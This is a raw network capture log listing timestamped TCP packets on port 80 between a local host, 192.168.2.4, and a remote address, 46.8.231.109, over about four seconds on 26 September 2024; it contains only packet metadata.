Sep 26, 2024 19:05:11.292699099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.292711973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.293167114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.293185949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.293210030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.293212891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.293224096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.293231964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.293246984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.293268919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.294935942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.294951916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.294977903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.294990063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.294998884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.295011997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.295017004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.295039892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.295052052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.295705080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.295721054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.295753956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.295753956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.295768023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.295773029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.295808077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.295808077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.297182083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.297204018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.297220945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.297231913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.297246933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.297250032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.297266960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.297307968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.297935963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.297956944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.297974110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.297985077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.298002958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.298003912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.298017979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.298047066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.299612045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.299664974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.299807072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.299827099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.299851894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.299854040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.299869061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.299874067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.299885035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.299891949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.299911022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.299923897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.300848961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.300868034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.300892115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.300896883 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.300911903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.300915956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.300929070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.300966024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.302148104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.302164078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.302189112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.302205086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.302207947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.302229881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.302231073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.302257061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.302269936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.302859068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.302875996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.302901030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.302906990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.302920103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.302922964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.302939892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.302963018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.303256989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.303277016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.303299904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.303303957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.303314924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.303319931 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.303338051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.303354979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.304176092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.304192066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.304212093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.304228067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.304236889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.304240942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.304255962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.304263115 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.304275990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.304299116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.304572105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.304588079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.304614067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.304619074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.304632902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.304639101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.304663897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.304672956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.305016994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.305036068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.305056095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.305063963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.305080891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.305082083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.305095911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.305104971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.305121899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.305130959 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.305886984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.305903912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.305926085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.305943966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.305969954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.376954079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.377054930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.377065897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.377073050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.377096891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.377114058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.379570007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.379590988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.379615068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.379627943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.379636049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.379640102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.379659891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.379672050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.381995916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.382044077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.382128000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.382147074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.382167101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.382191896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.384192944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.384207964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.384243011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.384246111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.384263039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.384267092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.384284019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.384303093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.384689093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.384711981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.384727001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.384732008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.384748936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.384752989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.384761095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.384776115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.384788990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.384803057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.384809971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.384840012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.386693954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.386713982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.386744022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.386765003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.386785030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.386904001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.387099981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.387121916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.387139082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.387147903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.387162924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.387180090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.387181997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.387206078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.387228012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.388967991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.388984919 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.389012098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.389015913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.389025927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.389029026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.389045000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.389055014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.389069080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.389076948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.389086008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.389113903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.389324903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.389363050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.389375925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.389394999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.389415979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.389419079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.389426947 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.389439106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.389455080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.389473915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.391099930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.391123056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.391170025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.391176939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.391201019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.391215086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.391223907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.391243935 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.404612064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.404633999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.404658079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.404690981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.404722929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.405092001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.405107975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.405133963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.405142069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.405159950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.405191898 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.405227900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.406508923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.406527996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.406550884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.406560898 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.406570911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.406596899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.406596899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.406621933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.407423019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.407444954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.407464981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.407481909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.407485962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.407516956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.407556057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.408795118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.408814907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.408838034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.408844948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.408859015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.408865929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.408879042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.408888102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.408910036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.408934116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.409729958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.409753084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.409770012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.409775019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.409792900 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.409802914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.409811974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.409820080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.409832001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.409847021 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.409869909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.411037922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.411061049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.411081076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.411086082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.411099911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.411108017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.411124945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.411129951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.411153078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.411174059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.412035942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.412055969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.412081003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.412118912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.412146091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.554105043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.554172993 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.559154987 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.559256077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.559271097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.559336901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.559351921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.832375050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.832472086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:13.057657003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:13.057760954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:13.067904949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:13.067934990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:13.067954063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:13.384813070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:13.384943962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:13.445971966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:13.453154087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:13.658466101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:13.658540010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:14.462322950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:14.468753099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:14.669526100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:14.669624090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.493657112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.501362085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.671514988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.671586037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.671638012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.671700001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.671700001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.672113895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.672126055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.672141075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.672163010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.672214031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.672214031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.672410011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.673049927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.673063040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.673083067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.673098087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.673115015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.673125982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.673125982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.673127890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.673192978 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.753494024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.753582001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.753597021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.753695965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.753962040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757044077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757056952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757078886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757093906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757112026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757122993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757128954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757164001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757193089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757208109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757219076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757235050 CEST	49735	80	192.168.2.4	46.8.231.109
